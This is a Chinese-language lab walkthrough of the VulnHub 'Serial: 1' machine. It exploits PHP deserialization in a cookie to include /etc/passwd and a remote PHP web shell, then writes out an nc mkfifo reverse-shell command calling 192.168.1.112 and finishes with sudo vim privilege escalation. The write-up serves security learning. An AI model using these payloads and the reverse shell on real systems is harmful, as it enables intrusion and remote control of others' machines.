漏洞环境:https://www.vulnhub.com/entry/serial-1,349/
下载后使用Vmware打开
用nmap探测主机存活,探测到存活主机192.168.1.111,开放了22端口和80端口:
nmap -PS -T4 192.168.1.0/24
arp-scan -l
nmap -sv -p- 192.168.1.111
发现cookie是经过base64加密过的:
解密后发现是经过序列化的
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
O: 代表存储的是对象(object),如果传入的是一个数字,那它就会变成a;
4: 表示对象的名称有4个字符,User表示对象名称刚好4个字符;
2: 表示有两个值
s: 表示字符串,数字表示字符串长度
补充一下php反序列化相关内容:
常见魔术方法:
使用dirsearch扫描发现存在backup路径:
访问发现存在目录遍历漏洞:
下载bak.zip,发现有三个源代码。
index.php:
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
index.php文件中包含了user.class.php文件,并对cookie中的user参数进行了判断,若user参数不存在则添加并进行了base64编码再进行序列化;若user参数存在则进行base64解码再进行反序列化。说明这里可以修改user参数构造payload。接下来看user.class.php文件。
user.class.php:
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
user.class.php文件包含了log.class.php,并定义了两个类,分别是Welcome和User,User这个类中有$this->wel = new Welcome();,再看Welcome类中发现调用了handler()函数,接下来看log.class.php文件。
log.class.php:
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
log.class.php文件定义了type_log成员变量,而且handler()函数对变量进行了文件包含和输出。
这里存在文件包含漏洞,可以构造payload加以利用输出一些我们想要的信息。
尝试构造payload读取 /etc/passwd 文件:
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
再进行base64加密:
但是发现不能成功执行:
对比之后发现空格在解码后有所不同:
查阅资料后得知是因为传输过程是以字节的形式而导致base64加密后的空格有所不同,下面用python来进行加密,用到base64.b64encode函数,注意需要将空格改为\x00:
最后得到的payload为:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=
重放包,成功包含 /etc/passwd 文件:
可以看到可登录系统用户除了root还有sk4:
此处利用远程文件包含漏洞,包含的文件为我在远程服务器上放的一个txt文件,内容为:
system($_GET['cmd']);
?>
构造payload:
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:30:"http://192.168.1.113/shell.txt";}}
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjMwOiJodHRwOi8vMTkyLjE2OC4xLjExMy9zaGVsbC50eHQiO319
编码前:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.112 4444 >/tmp/f
编码后:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.112+4444+>/tmp/f
访问根目录发现存在敏感文件credentials.txt.bak:
查看发现时用户名和密码:
由于开启了22端口,使用SSH登录:
查看内核版本,但是没找到什么可提权的漏洞:
尝试找一下当前用户可执行与无法执行的命令:
发现vim编辑器对所用用户NOPASSWD,尝试提权,输入sudo vim进入命令模式输入!bash:
提权成功:
参考链接:
https://blog.csdn.net/qq_41954384/article/details/103831182(vulhub-serial-php反序列化靶机实战)